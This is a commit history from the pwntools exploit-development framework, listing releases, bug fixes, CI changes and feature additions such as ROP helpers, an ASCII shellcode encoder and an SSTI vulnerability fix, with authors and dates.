Compare commits

...
263 Commits
Author SHA1 Message Date
Arusekk d07a86d556 Release 4.4.0 2021-03-29 11:49:32 +02:00
Arusekk b76d045a40 Release 4.4.0beta1 2020-11-30 00:27:41 +01:00
Arusekk 957a5a5835 Release 4.3.1 2020-11-30 00:26:51 +01:00
Arusekk 2efb5a0a73 Merge branch 'issue-1427' into stable 2020-11-30 00:25:25 +01:00
Arusekk 442fedeef0 Auto-generated files 2020-11-30 00:24:01 +01:00
Arusekk 138188eb1c Fix pwntools shellcraft SSTI vulnerability
This looks like the first major pwntools vuln!
And it even got its own task on Hitcon CTF 2020.

Fixes #1427
2020-11-30 00:23:49 +01:00
Arusekk 5dfcb53964 Apparently python 2 does not have lru_cache. 2020-11-29 14:04:24 +01:00
Arusekk e004aa6566 Release 4.4.0beta0 2020-10-20 17:44:56 +02:00
Arusekk 5db149adc2 Release 4.3.0 2020-10-20 17:39:40 +02:00
Arusekk 23f5075d93 Merge branch 'beta' into dev 2020-10-20 17:12:12 +02:00
Arusekk ddb5798b8c Merge branch 'stable' into beta 2020-10-20 15:53:07 +02:00
Arusekk f1624dc8ac Release 4.2.2 2020-10-20 15:21:59 +02:00
Arusekk a824e83bcb Only require changelog if major changes present 2020-10-20 14:57:36 +02:00
Arusekk dff2e807cd Fix udp socket server AttributeError (#1706)
Closes #1690
2020-10-20 14:29:54 +02:00
Arusekk b8ca473a39 Use descriptive workflow names 2020-10-20 12:17:58 +02:00
peace-maker cde51065bf Update libcdb buildid offsets (#1703)
* Update libcdb buildid offsets

Recent libcs from Debian and Ubuntu have different offsets for the build id.

* Update CHANGELOG
2020-10-20 11:52:33 +02:00
lucasgandArusekk 09541e042b [elf.py] convert linux string banner into an actual str (#1700)
* [elf.py] convert linux string banner into an actual str 

``self.string(address)`` actually return a bytes object containing the raw bytes, not a string in a pythonesque sense !
Since quite some time on Python3, ``re.search`` only works on proper str so we need to convert it before feeding it to ``re.search``

``.decode()`` works both on Python2 and Python3

* Update kernel ELF handling

Co-authored-by: Arusekk <[email protected]>
2020-10-17 16:10:22 +02:00
Heap CrashandArusekk e47c65c6fc Implement property getter/setter for context.newline, and make tubes honor it (#1541)
* Implement property getter/setter for context.newline, and make tubes honor it

The default newline can now be set context-wide, or per-tube.

* [changelog] Update for 1541

* [docs] Use r-prefix for embedded newlines

Co-authored-by: Arusekk <[email protected]>
2020-10-14 01:08:37 +02:00
Kyle ZengandArusekk d6859eb744 FmtStr module enhancement (#1696)
* use non-greedy operator to handle corner cases where the program output contains END in it

* END can appear in the string leak

Co-authored-by: Arusekk <[email protected]>

Co-authored-by: Arusekk <[email protected]>
2020-10-13 22:33:50 +02:00
Aapo SaaristoandArusekk 79cd784383 Place ROP cache in user's homedir like "regular" cache (#1453)
* Keep ROP cache in user's home like regular cache

I don't have statistics numbers on which would be more likely to be writable, an user's home directory or the OS's temp directory, but seems to me it'd make sense to try and write all caches to the same location.

Optimally this would be easily configurable to allow adjusting to different set-ups, obviously.

* Use cache_dir instead

Co-authored-by: Arusekk <[email protected]>
2020-10-13 19:51:28 +02:00
James O'NealandJames O'Neal dd92ca6c61 Fix broken shellcraft linux templates (#1699)
* fixing broken linux templates

* adding change to changelog

Co-authored-by: James O'Neal <[email protected]>
2020-10-13 14:13:21 +02:00
Mariusz SkoneczkoandArusekk 1c0ca55627 Actually import requests when doing from pwn import * (#1687)
* Actually import `requests` when doing `from pwn import *`

As per documentation, we claim to be importing `requests` globally
(https://github.com/Gallopsled/pwntools/blame/dev/docs/source/globals.rst#L100)

We should actually do this :)

* Update CHANGELOG

Co-authored-by: Arusekk <[email protected]>
2020-10-05 12:49:16 +02:00
Mariusz Skoneczko 1d6aa2e276 Remove python2 shebangs where appropriate (#1692)
* Remove python2 shebangs where appropriate

* Update CHANGELOG.md
2020-10-05 12:32:02 +02:00
Ron a0b3b24984 Fix documentation of #1667 (#1693)
* add parameter max_subs to __init__

(cherry picked from commit d331be51d3bdb791d5d19d9d9b8d60706dddf5fa)

* Beautify doc string

(cherry picked from commit ceebf47a956073eee43efe0a5f6e9399e6a1ec65)

* Fix some typos

(cherry picked from commit 6bbbdcedf4c8ae075c30d01d447c372925f0a29d)

* Update CHANGELOG.md

* Revert changelog

https://github.com/Gallopsled/pwntools/pull/1693#discussion_r499236894

* Trigger CI
2020-10-05 11:08:53 +02:00
Arusekk 26ccb97f63 Speak as simple as it can be (#1694)
Fixes #1434
2020-10-04 22:42:59 +02:00
Arusekk 23ac852023 Make bruteforcewrap picklable (#1685)
Closes #1665
2020-10-01 20:08:51 +02:00
Mariusz SkoneczkoandArusekk bcb6e066aa Add __setattr__ and __call__ interfaces to ROP for setting registers (closes #1636) (#1688)
* Implement ROP.__call__ shorthand for setting registers

* Fix broken doctests by ensuring they set context.arch

* Implement ROP.__setattr__ shorthand for setting registers

* Update CHANGELOG.md

Co-authored-by: Arusekk <[email protected]>
2020-10-01 20:07:45 +02:00
152334H 2a5aac1101 ROPGadget multibr hotfix (#1682)
* fix --multibr issue

* modify changelong

* In which I learn how to count

* put doctest for ROP().syscall in unfortunate place

* fix context malapropism
2020-10-01 19:50:44 +02:00
Teddy Heinen 5e279e7993 fix #1684 (ROP gadget loading fails when it matches "add esp, esi") (#1686)
* fix ROP gadget loading when binary contains a gadget with add rsp, <register>

* add documentation regarding the fact that loading gadget "add $sp, <reg>" will fail
2020-09-27 11:55:39 +02:00
RonandArusekk dc8d0e310c I386 ascii shellcode (#1667)
* Add module ascii_shellcode

* Add doctests

* Make the ascii_shellcode module accessible from pwn star import

* Remove unused imports

* Update docstr

* Update CHANGELOG.md

* Also test private functions

* Undo accidental modification of CHANGELOG.md

* Fix python 2

* Fix python 2 doctests

* Use bytes object in doctests instead of converting from/to hex strings

* Add doctest to shellcraft>asciify>run shellcode

* Move to pwnlib.encoders.i386

* Fix python 2

* Apply some of the suggestions from Arusekk's code review

Co-authored-by: Arusekk <[email protected]>

* Fix some broken code from the suggestions

https://github.com/Gallopsled/pwntools/pull/1667#discussion_r491699166
https://github.com/Gallopsled/pwntools/pull/1667#discussion_r491700154
https://github.com/Gallopsled/pwntools/pull/1667#discussion_r491700397

* Beautify code by using bytearrays everywhere

https://github.com/Gallopsled/pwntools/pull/1667#discussion_r491698062
https://github.com/Gallopsled/pwntools/pull/1667#discussion_r491701007
https://github.com/Gallopsled/pwntools/pull/1667#discussion_r491700313
https://github.com/Gallopsled/pwntools/pull/1667#discussion_r491700853
https://github.com/Gallopsled/pwntools/pull/1667#discussion_r491698916
https://github.com/Gallopsled/pwntools/pull/1667#discussion_r491699243

* Fix python2 doctests

Forgot to update a few doctests to use bytearrays instead of bytes

* Try to improve test coverage

Test correctness of avoid parameter processing

* Remove unused imports

Co-authored-by: Arusekk <[email protected]>
2020-09-26 10:59:21 +02:00
152334H 72ca730f4b ROPGadget multibr (#1678)
* ROPGadget multibr

* Update CHANGELOG.md

* Fix docstrings to match
2020-09-19 16:09:05 +02:00
Jan Mazur 6b7c3d99c4 Gdbserver now correctly accepts multiple libraries in LD_PRELOAD and LD_LIBRARY_PATH (#1675)
* Gdbserver now correctly accepts multiple libraries in LD_PRELOAD and
LD_LIBRARY_PATH.

* modify changelog
2020-09-17 19:23:02 +02:00
152334H 4dec08b4bd ROP: add base= argument for .chain() and .dump() (#1673)
* Allow using specific base for ROP.chain() and ROP.dump()

* Update CHANGELOG.md
2020-09-13 20:32:29 +02:00
Jacopo Tediosi 9ccf404dde Wrong doc for recvline_endswith() (#1661)
* Wrong doc of recvline_endswith()

* Fixed "see also" link
2020-08-29 20:10:23 +02:00
magrasandArusekk 4b5969f582 Fix syscall instruction lists for SROP on i386 and amd64 (#1669)
All three instructions: `int 0x80`, `sysenter`, and `syscall` require
different stack frames and registers to pass arguments, but
`ROP._srop_call` uses them interchangeably.

This fix limits syscall instruction lists to gadgets that work.

Co-authored-by: Arusekk <[email protected]>
2020-08-29 14:24:52 +02:00
magras fb2bf934ac Fix migration to another ROP (#1668) 2020-08-29 14:22:32 +02:00
Jonas 846f98294f Change lookup algorithm of adb.which (#1663)
* Change lookup algorithm of `adb.which`.

This is done because the current algorithm does not work when the binary (e.g. `su`) is installed in the last element of $PATH.

Example:

```shell
$ echo $PATH
/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin
$ echo $PATH | while read -r -d: directory; do
>     echo  "$directory/su";
> done
/sbin/su
/vendor/bin/su
/system/sbin/su
/system/bin/su
$ (IFS=:
>   for directory in $PATH; do
>       echo "$directory/su";
>   done
> )
/sbin/su
/vendor/bin/su
/system/sbin/su
/system/bin/su
/system/xbin/su
```

* Update CHANGELOG
2020-08-24 17:19:09 +02:00
Arusekk df76e24e7c Fix SSL timeout error on py2 (#1660)
Turns out that python 2 does not raise correct socket.timeout, but
SSLError instead.  With no errno.  Just a message that might be
localized in some circumstances.

**THIS IS NOT THE ONLY TIME PYTHON 2 IS CAUSING PROBLEMS.**
Time to stop using it, dear exploit developers.  It is dead now.
But here you are: the simple fix.

Closes #1356
2020-08-17 18:37:37 +02:00
Arusekk f98c4fbe2a Disable term if initialization fails (#1659)
Closes #1658
2020-08-17 18:37:13 +02:00
Heap Crash 9e0aa3200c [docker] Upgrade Docker images of Pwntools to use Python3 (#1654)
* [docker] Upgrade Docker images of Pwntools to use Python3

Also installs qemu-user-static and various binutils packages for building (binutils)
and running (qemu) cross-arch binaries.

Fixes #1500

* Update CHANGELOG

* Switch to Python3 for stable/beta/dev Docker images

* [changelog] Add missing links
2020-07-29 23:56:06 -05:00
Heap Crash 8080af8866 [shellcraft] Avoid recursive walk of all templates for command line (#1651)
* [shellcraft] Avoid recursive walk of all templates for command line

Fixes #1650

* Avoid double-fetch

* Add changelog

* [pylint] Only warn for additions
2020-07-27 19:24:31 -05:00
peace-maker f227796a09 Fix detection of WSL2 to open new terminal (#1646)
The osrelease is e.g., `4.19.104-microsoft-standard` in WSL2. microsoft being lowercase. Ignore casing for detection.
2020-07-25 10:36:14 +02:00
Mrmaxmeier b6fc0f3536 tubes/remote: Support Server Name Indication and enable by default (#1644)
* tubes/remote: Support Server Name Indication and enable by default

This allows customizing the server_name via sni="custom" or sending the
name specified in the host parameter via sni=True.

We switch to the SSLContext.wrap_socket API because ssl.wrap_socket is
deprecated and does not support SNI.

Unfortunately, SSLContext.wrap_socket dropped some of the parameters
that are supported by ssl.wrap_socket. These parameters have been moved
to the SSLContext API and can now be used by passing a custom SSLContext
to the ssl_context parameter of `remote`.

* update CHANGELOG.md
2020-07-25 10:31:13 +02:00
Heap Crash 556685e150 [ci] Disable pwnlib.ui tests for branch dev (#1647)
These still run for all other branches and tags
2020-07-22 01:39:04 -05:00
Arusekk eb60b5d6b6 Enhance gdb error message when unable to launch binary (#1614)
* Enhance gdb error message when unable to launch

A common issue is when the binary is not executable,
or the binary is simply missing.

* Use six.ensure_str
2020-07-11 23:39:24 -05:00
Heap Crash 84a139f55b [template] Drop into a shell if downloading the file fails (#1633)
* [ssh] An error should be thrown when download fails, not a silent failure

* [changelog] Add to changelog
2020-07-11 23:38:40 -05:00
Heap Crash 70f3b6fa79 [tests] Change test slightly so that failing output will be emitted (#1634)
* [tests] Change test slightly so that failing output will be emitted

* Disable flaky UI test on Github Actions

* [ui] Try a sleep rather than disabling tests
2020-07-11 23:37:54 -05:00
Arusekk 2d45903ee3 Merge branch 'beta' into dev 2020-07-11 16:26:10 +02:00
Arusekk baa4fc5a9f Merge branch 'stable' into beta 2020-07-11 16:12:03 +02:00
ArusekkandHeap Crash 78df70c986 Inform GDB of file when using QEMU (#1630)
* Inform GDB of file when using QEMU

Fixes #1625

* Sync CHANGELOG from dev + version bump

Co-authored-by: Heap Crash <[email protected]>
2020-07-11 15:58:16 +02:00
Heap Crash a8d34166c4 [ci] Prevent And-roid AVD tests from running every force-push (#1641)
Dash is to prevent triggering installation due to And-roid reference
2020-07-10 13:33:52 -05:00
Heap Crash a6edf2689d [ci] Add pylint stage (#1640) 2020-07-10 13:25:53 -05:00
heapcrash 3940631e21 Silence module-not-imported warning from coverage 2020-07-10 12:29:34 -05:00
heapcrash 7141e93243 Merge branch 'beta' into dev 2020-07-10 12:26:04 -05:00
heapcrash 53ecb27948 [six] Add missing imports to six 2020-07-10 12:09:57 -05:00
Heap Crash f1d8d5b8fe [term] Automatically set PWNLIB_NOTERM when running inside Jupyter (#1632)
* [term] Automatically set PWNLIB_NOTERM when running inside Jupyter

* [changelog] Update changelog
2020-07-10 00:58:52 -05:00
ArusekkandHeap Crash 48a482df24 Enhance tubes.ssh bytes handling (#1602)
* Enhance tubes.ssh bytes handling

Closes #1437

* Add tests

* grep is actually nasty

* Update CHANGELOG.md

Co-authored-by: Heap Crash <[email protected]>
2020-07-10 00:37:21 -05:00
Heap Crash 08ab1b6adf [docs] Add a link to the tutorials (#1631) 2020-07-10 00:29:58 -05:00
Arusekk b5de88e118 [ci] Look for merge conflict markers commited (#1623)
Inspired by #1606
Fixes #1622
2020-07-09 23:08:08 -05:00
Jakub KądziołkaandArusekk 2c33601a86 Add a bfdname for msp430 to make asm and disasm work (#1606)
* Add a bfdname for msp430 to make asm and disasm work

* Add a bfdname for s390 to make asm and disasm work for all architectures

* Add tests for new bfdnames

* ci: Add binutils for newly-tested architectures

Co-authored-by: Arusekk <[email protected]>
2020-07-08 01:15:46 +02:00
Arusekk 55552cd6a2 Merge branch 'beta' into dev 2020-07-07 22:01:20 +02:00
Asger Hautop Drewsen 7e0e644564 Fix cyclic cli for 64 bit integers (#1616)
* Fix cyclic cli for 64 bit integers

* Update changelog

* Use bytes instead of word_size
2020-07-07 21:48:28 +02:00
Arusekk 8b1c25f441 Fix python2 regression from #1608 (#1629)
Closes #1627
2020-07-05 18:49:10 -05:00
Jakub Kądziołka ca06098649 Fix documentation formatting for pwnlib.util.packing.flat (#1624) 2020-07-03 23:30:28 -05:00
heapcrash d2b0a5913b [changelog] Update release date and version list 2020-07-03 20:31:52 -05:00
heapcrash 2fafbfb291 Merge branch 'beta-staging' into dev 2020-07-03 20:13:35 -05:00
Heap Crash 08d900994d [changelog] Update changelog for new release (#1626) 2020-07-03 20:13:17 -05:00
heapcrash 427066d937 [memleak] Fix missing import 2020-07-03 20:12:32 -05:00
heapcrash db0312e0fe Merge branch 'stable' into beta-staging 2020-07-03 19:48:48 -05:00
heapcrash 0337387f97 Add Python3 to supported languages for PyPi 2020-07-03 19:45:49 -05:00
heapcrash 6afccefb01 Merge branch 'beta' into dev 2020-07-03 19:42:03 -05:00
heapcrash db7312b43f Merge branch 'stable' into beta 2020-07-03 19:41:45 -05:00
heapcrash 89e3f2bee0 [dev] Version bump for dev 2020-07-03 19:39:19 -05:00
heapcrash 7b130aec79 [4.3.0] dev is now beta 2020-07-03 19:24:47 -05:00
heapcrash 2e61a6be7f [release] 4.2.0 is now "stable" 2020-07-03 19:10:40 -05:00
heapcrash 13960bac08 Merge branch 'beta' into dev 2020-07-03 19:08:00 -05:00
heapcrash 7647ea6ca9 [ci] Remove failing testsetup block 2020-07-03 18:49:07 -05:00
heapcrash 21215ac22f [gha] Remove canary test for skipif section 2020-07-03 18:47:56 -05:00
heapcrash 3390eafab3 [doctest] Try testsetup / failing doctest 2020-07-03 18:37:52 -05:00
heapcrash 1cc5deca50 [gha] Add doctest to verify that skipif works 2020-07-03 18:11:45 -05:00
heapcrash bae22da550 Merge branch 'stable' into beta 2020-07-03 17:32:35 -05:00
Kyle Zeng 230a42ffc0 OSError is not subscriptable (#1608) 2020-07-02 22:37:20 +02:00
Heap Crash 31465d7570 Permit negative indices in fit() and flat() (#1621)
* [packing] Support negative indices for flat() and fit()

Fixes #1531

* [changelog] Add Changelog for PR

* [packing] Only take negative path if there are any

min([]) is not valid Python

* [packing] Move out_negative to a higher scope
2020-06-30 02:02:36 -05:00
heapcrash cc6d272760 [release] Version bump to 4.1.7 2020-06-30 00:26:37 -05:00
heapcrash 07c7dd6242 Merge branch 'beta' into dev 2020-06-29 23:56:01 -05:00
heapcrash 6443d82835 Merge branch 'stable' into beta 2020-06-29 23:53:30 -05:00
Heap Crash 8d0745628c [stable] Fix incorrectly-merged code (#1620)
* [stable] Fix incorrectly-merged code

* [aarch64] Use byte-strings instead of strings

* [aarch64] Have different tests for str vs bytes

* [aarch64] Convert all items to binary before processing

* [aarch64] Fix doctest results

* [aarch64] Stopgap to fix Py3 CI tests

* [aarch64] Remove failing test, will address in a future release
2020-06-29 23:52:44 -05:00
heapcrash 6f8319519b Merge branch 'beta' into dev 2020-06-29 20:22:46 -05:00
heapcrash fcfce6ca67 Merge branch 'stable' into beta 2020-06-29 20:21:52 -05:00
Heap Crash 4c2fba6912 [aarch64] Fix aarch64.pushstr and pushstr_array (#1618)
* [aarch64] Fix aarch64.pushstr and pushstr_array

* pushstr
  * We were pushing the correct values, and each 16-byte span was correct, but the 16-byte segments were ordered wrong

* pushstr_array:
  * Was entirely broken.  This commit has a non-optmimized version but it works

Closes #1549
2020-06-29 20:20:52 -05:00
heapcrash 3469f4a4f7 [changelog] Fix release schedule 2020-06-27 20:33:27 -05:00
heapcrash b22e3e611d [changelog] Fix release schedule 2020-06-27 20:33:12 -05:00
Heap Crash 3be97b7ab5 [pwn template] Permit --password in addition to --pass (#1613)
* [pwn template] Permit --password in addition to --pass

* Add to CHANGELOG
2020-06-27 20:31:19 -05:00
Heap Crash 1a9dce025f [asm] Fix disasm() for mips64, powerpc64, sparc64 (#1603)
* [asm] Fix disasm() for mips64, powerpc64, sparc64

Closes #1564

* [asm] Add tests for disasm on mips/powerpc/sparc 64-bit

* [asm] Find powerpc, sparc, mips utilities even for 64-bit variants

* [asm] Remove leftover debug trace

* [ci] Add Sparc64 binutils

* [changelog] Add entry
2020-06-27 20:30:49 -05:00
heapcrash cbb57c0148 [example] Add ssh.process to example code 2020-06-27 19:24:34 -05:00
Arusekk 92810cbeb2 Follow-up after #1611 2020-06-28 01:22:15 +02:00
Arusekk 039f2439b5 Don't pollute global namespace
Fixes #1611
2020-06-28 01:16:13 +02:00
Arusekk a190726caf Type fix 2020-06-28 01:13:32 +02:00
heapcrash 745f8e7716 Merge branch 'beta' into dev 2020-06-27 15:52:49 -05:00
heapcrash 21c7864b79 Merge branch 'stable' into beta 2020-06-27 15:52:16 -05:00
Heap Crash 0acf366070 [flag] Fix packing.flat for filler=b'AB' (#1612)
Fixes #1517
2020-06-27 15:49:34 -05:00
heapcrash a3bf833a9a Merge branch 'beta' into dev 2020-06-26 18:06:21 -05:00
heapcrash 8cd4d2b589 Merge branch 'stable' into beta 2020-06-26 18:05:32 -05:00
Heap CrashandArusekk 568af5b7d6 Fix features in pack() and add more doctests (#1610)
* [packing] Better alternative to #1580

pack() was failing for dictionaries that are not ordered

Closes #1582
Closes #1579

* [docs] Add better documentation for flat()

* [changelog] Add 4.1.4

* [release] Bump version to 4.1.4

Co-authored-by: Arusekk <[email protected]>
2020-06-26 18:03:59 -05:00
Heap Crash f2cb7babcf [docker] Get Travis CI dockerfile working more (#1607)
* [docker] Get Travis CI dockerfile working more

* [docker] Do not upgrade all packages, only update if required

* [docker] Move requirements installation higher up before the copy
2020-06-26 17:22:26 -05:00
Saullo Carvalho Castelo Branco ce0966d186 Add to fiddling.hexdump a way to suppress the total at the end (#1605)
* Add `total=` argument to `hexdump` and `hexdump_iter`

* Update `hexdump` docstring

* Add PR to CHANGELOG.md
2020-06-24 11:44:14 +02:00
Jiaming Yi e3a7515f81 Update binutils.rst (#1604)
Update the path to binutils-$ARCH.rb file for Macos.
2020-06-23 21:47:38 -05:00
heapcrash d143af398e Merge branch 'beta' into dev-staging 2020-06-23 20:56:10 -05:00
Heap Crash a1b0ff6b29 Fix extremely verbosel logging of environment when no changes were made (#1592)
* Fix extremely verbosel logging of environment when no changes were made

* [changelog] Update changelog for #1592

Fixes #1448
2020-06-23 11:05:58 -05:00
Heap Crash 1b130cfe5d [ci] Delete foo-staging branch after merging and pushing foo (#1600) 2020-06-23 11:04:55 -05:00
Arusekk c3e39f57f8 Code style enhancements and less sphinx warnings (#1570)
* Fix several sphinx warnings

* Several code style fixes

Mostly grep -Er '[=!]= (None|True|False)'

* Compile-time str concat

also reduced redundant characters at line ends

* Fix python2 toplevel regression

* No equality comparison with singletons again

* Clarification: lambda: [] is just list

* Reintroduce reverted fragment
2020-06-23 11:04:19 -05:00
heapcrash ede4ed13e0 [ci] Add NOTERM to invocation 2020-06-23 11:03:16 -05:00
heapcrash 316cf359c1 [pwn version] Include branch name in output 2020-06-23 11:03:16 -05:00
heapcrash 343dff5c51 [changelog] Update dev changelog 2020-06-23 11:03:16 -05:00
heapcrash a0d61dcea5 [ci] Add "pwn version" step during CI 2020-06-23 11:03:16 -05:00
heapcrash f02e5b5e45 [pwn[ Add "pwn version" command to show installed version 2020-06-23 11:03:16 -05:00
heapcrash 871afd1188 Merge branch 'stable' into beta 2020-06-23 01:50:55 -05:00
heapcrash 47c9cfe4eb [release] Update to version 4.1.3 2020-06-23 01:33:12 -05:00
heapcrash 642fcb0b29 [docs] Add doctest for ssh.process(..., timeout=) 2020-06-23 01:31:49 -05:00
heapcrash 89d73c8047 [ssh] Fix timeout issue with ssh.process()
Also has documentation enhancements for SSH module

Fixes #1591
2020-06-23 01:31:49 -05:00
heapcrash c293318cbd [ci] Re-enable Corefile tests on Github Actions 2020-06-22 23:52:48 -05:00
heapcrash ddf5cdcb3f [docker] Update Docker images to use Bionic 2020-06-22 22:23:58 -05:00
heapcrash 761d446fa3 Add to changelog 2020-06-22 20:18:17 -05:00
heapcrash 5e012ebf95 [ui] Colorize output of "pwn template" if it is a TTY 2020-06-22 20:18:17 -05:00
heapcrash 7d6cb3f61f Merge branch 'beta' into dev
Conflicts:
	CHANGELOG.md
	pwnlib/util/proc.py
2020-06-21 20:59:23 -05:00
heapcrash 6c0017e617 [ci] Fix error with "name" vs "global name" bar 2020-06-21 20:37:10 -05:00
heapcrash 0f2f91a29d Merge branch 'stable' into beta
Conflicts:
	pwnlib/gdb.py
	pwnlib/tubes/ssh.py
	pwnlib/util/proc.py
2020-06-20 19:40:29 -05:00
Arusekk e8b4f0b07f [ci] Increase coverage of commandline tools 2020-06-20 19:36:57 -05:00
heapcrash c0202f9c65 [ci] Fix backported test to work with stable 2020-06-20 19:36:57 -05:00
heapcrash ddab95e5cb [docs] Update FmtStr documentation to use pre-compiled binary 2020-06-20 19:36:57 -05:00
heapcrash f4ab2d2700 [shellcraft] Backport CI changes from dev to stable 2020-06-20 19:36:57 -05:00
heapcrash aad7eb9241 [ci] Add libc6-dbg to requirements 2020-06-20 19:36:57 -05:00
heapcrash 2f9f759839 [ci] Backport CI scripts from dev branch 2020-06-20 19:36:57 -05:00
heapcrash 3934a04536 [gdb] Fix automatic debugging for listen, remote, and ssh
* sock-based GDB connections didn't set the PID, so it didn't work
  * Now uses a real Timeout object
  * Added special case handling for socat, since we were attaching to the wrong process
* ssh-based doctests improved
  * Works locally on everything I tested
  * One test is ignored, since it doesnt work on Travis CI
  * Added libc6-dbg to Github Actions
* run_in_new_terminal supports unicode strings now
  * This fixes SSH-based debugging
* wait_for_debugger now has a timeout
  * Fixes the case where the debugger never comes up, mostly for tests
2020-06-20 19:36:57 -05:00
Saullo Carvalho Castelo Branco a414d788fe Add PR #1576 to CHANGELOG.md (#1588) 2020-06-17 20:51:41 -05:00
Saullo Carvalho Castelo Branco 4134e60c8d Add jmp_esp/jmp_rsp attribute to ROP (#1584) 2020-06-17 15:51:20 -05:00
heapcrash 88084975ad [GHA] Add workflow to require modifications to CHANGELOG.md 2020-06-16 19:31:01 -05:00
heapcrash 4b14e27523 Ask users to update the changelog in the Pull Request template 2020-06-16 19:31:01 -05:00
heapcrash 45eb8bcc81 Re-enable UI tests in Github Actions
I suspect this will not work because of curses failing to initialize in GHA
2020-06-15 23:28:47 -05:00
Arusekk 8b6e6ed67d Enhance py2 32-bit archs support
This was a quick `grep -r isinstance | grep '\<int\>'`
2020-06-15 23:28:32 -05:00
Arusekk 18a7a9458c Ensure tag matches files version 2020-06-15 23:14:03 -05:00
Arusekk 3cca881881 Cyclic CLI functionality 2020-06-15 23:12:29 -05:00
Arusekk 2a68da3dad More coverage 2020-06-15 23:12:29 -05:00
Arusekk 9f5b24d889 Move socket matching to util.net. 2020-06-15 23:12:15 -05:00
Arusekk e9b24a6159 Add support fox mixed-stack connections in proc 2020-06-15 23:12:15 -05:00
Arusekk 39a3b2e8ff Use dual-stack sockets when family is 'any'
Also a minor cleanup in sock.py.
Tested on Linux and FreeBSD.
Closes #1552
2020-06-15 23:12:15 -05:00
ShiftCrops 09caa4ba63 add ".plt.sec" to search section (#1577)
* add .plt.sec to search section

* add test ELFs for .plt.sec
2020-06-14 12:13:00 +02:00
heapcrash 3d76872a28 Reset context so packing works as expected 2020-06-13 19:50:28 -05:00
heapcrash 92aa3d3c16 Add additional workaround for Python2 2020-06-13 19:50:28 -05:00
heapcrash f36bbecc6e Add mixed-ordering test 2020-06-13 19:50:28 -05:00
heapcrash 1a66766c30 Add tests for mis-ordered cyclic fields 2020-06-13 19:50:28 -05:00
heapcrash 74560c80e6 Sort dictionary fields before attempting to flatten them
Fixes #1579
2020-06-13 19:50:28 -05:00
Saullo Carvalho Castelo Branco a0eeb30e0b Add executable= argument to ELF.search (#1576)
* Add `executable=` argument like `writable=` to ELF.search

* Add doctest using ELF.search with `executable = True`

* Fix `__next__()` issue.
2020-06-11 22:10:06 +02:00
jlewis200andArusekk f1628b80fe Update pwnlib/gdb.py
Identity comparison

Co-authored-by: Arusekk <[email protected]>
2020-06-07 19:05:34 -05:00
jlewis200 5c65b8a03e gdb.debug() environment variables fix
If passed an empty dictionary defining the environment variables, the process invoked by gdb.debug() has environment variable 'PWD' set to the directory containing the executable.  This behaviour is not observered when NOPTRACE is enabled:  the program runs without any environment variables set.  Similarly, if an empty environment variable dictionary is passed to process(), it appears to also run under a truly empty environment.  Additionally, attempts to overwrite the "PWD" environment variable with a dictionary entry are not successful under gdb.debug().

This fix brings the gdb.debug() treatment of environment variables in line with and process() and gdb.debug() with NOPTRACE enabled. 
 It allows both empty environments, and overwriting of the 'PWD' environment variable.
2020-06-07 19:05:34 -05:00
heapcrash c2a61b30db [README] Update Twitter badge to include follower count 2020-06-07 14:01:00 -05:00
heapcrash 82a7074d86 [README] Add Coveralls badge logo 2020-06-07 13:58:56 -05:00
heapcrash 8a21b0306d [README] Urlencode badge URL 2020-06-07 13:57:40 -05:00
heapcrash c0afb8ef29 [README] Add Travis logo to Travis CI build badge 2020-06-07 13:56:16 -05:00
heapcrash baed2d5bbc [README] Add Github Workflow status badge 2020-06-07 13:54:02 -05:00
heapcrash cccbc4555c [docs] Add Ubuntu 20.04, remove 12.04 2020-06-07 13:18:38 -05:00
heapcrash df3835a611 [docs] Version should come before docs 2020-06-07 13:17:23 -05:00
heapcrash 758b86c4b0 [docs] Reformat filepointer documentation 2020-06-07 13:15:52 -05:00
heapcrash 16f8c419bc Remove unused update_demo.sh script 2020-06-07 12:27:26 -05:00
heapcrash 1eca50e421 [changelog] Update 4.1.2 2020-06-07 12:24:52 -05:00
heapcrash d2e84c1a30 [travis] Update CI image in README.md 2020-06-07 12:21:49 -05:00
heapcrash 1c1615da2f [docs] Update FmtStr documentation to use pre-compiled binary 2020-06-06 17:58:44 -05:00
heapcrash cb4e01b4df [docs] Make the ret2dlresolve documentation useful 2020-06-06 17:58:44 -05:00
heapcrash 00f65f2c53 [docs] Remove compilation step from ret2dlresolve 2020-06-06 17:58:44 -05:00
heapcrash ac2522fe91 [GHA] Remove dependencies on cross-arch compilers 2020-06-06 17:58:44 -05:00
heapcrash 82f20b28cf [travis] Use gcc-multilib for i386/amd64 compilation 2020-06-06 17:58:44 -05:00
heapcrash fd8ed5883e [travis] Enable IPv6 interfaces, fixes net.interfaces() test 2020-06-06 17:58:44 -05:00
heapcrash 5fea8d25a8 [docs] Fix __doc__ block indentation 2020-06-06 17:58:44 -05:00
heapcrash 01fb378320 [docs] Fix warnings generated during "make doctest" 2020-06-06 17:58:44 -05:00
heapcrash 3f8c92b233 [docs] Silence warning generated by Sphinx about missing code-block language 2020-06-06 17:58:44 -05:00
heapcrash c846f94c8e [shellcraft] Update loader_append examples to build ELFs on the fly
This removes our dependencies against having various compilers installed
2020-06-06 17:58:44 -05:00
Jakub Kądziołka a5bf7c50f4 Make AVR's binutils detection strategy a fallback for all architectures 2020-06-06 14:45:47 -05:00
Jakub Kądziołka 8066b2353b Specify the _bfdname for AVR 2020-06-06 14:45:47 -05:00
Jakub Kądziołka b81c61cae4 Detect AVR binutils
Both Debian and Ubuntu provide a `binutils-avr` package, which contains
an assembler for AVR as `avr-as`. However, pwntools was looking for
something with `linux` in the name, such as `avr-linux-gnu-as`. Of course,
such a target triplet is nonsense, Linux does not run on AVRs
(apart from that one hack that actually emulated some other CPU which
therefore doesn't count).
2020-06-06 14:45:47 -05:00
heapcrash 54d3f674e1 [GHA] Move the lint step to its own workflow 2020-06-05 20:53:19 -05:00
heapcrash 14f5ab6b90 Merge branch 'beta' into dev 2020-06-05 20:26:07 -05:00
heapcrash aec8d9ea9f Merge branch 'stable' into beta-staging 2020-06-05 20:24:45 -05:00
Heap Crash 555dec78d9 Recommend people use "pip install --upgrade pwntools" (#1558)
We should not encourage most users to use the `dev` branch
2020-06-05 23:07:16 +02:00
heapcrash 267879c91a Set timeout to 30 minutes 2020-06-05 14:34:49 -05:00
Arusekk 2d48220165 Enhance the tests 2020-06-05 11:05:04 +02:00
Arusekk 4d9242ae89 Merge branch 'beta' into dev 2020-06-05 10:50:59 +02:00
heapcrash fae86c3dec Remove demo link
Fixes #1495
2020-06-05 01:52:07 -05:00
heapcrash 24211219d8 Use tmux or screen if the environment variables are present, even if we detect an X11 terminal.
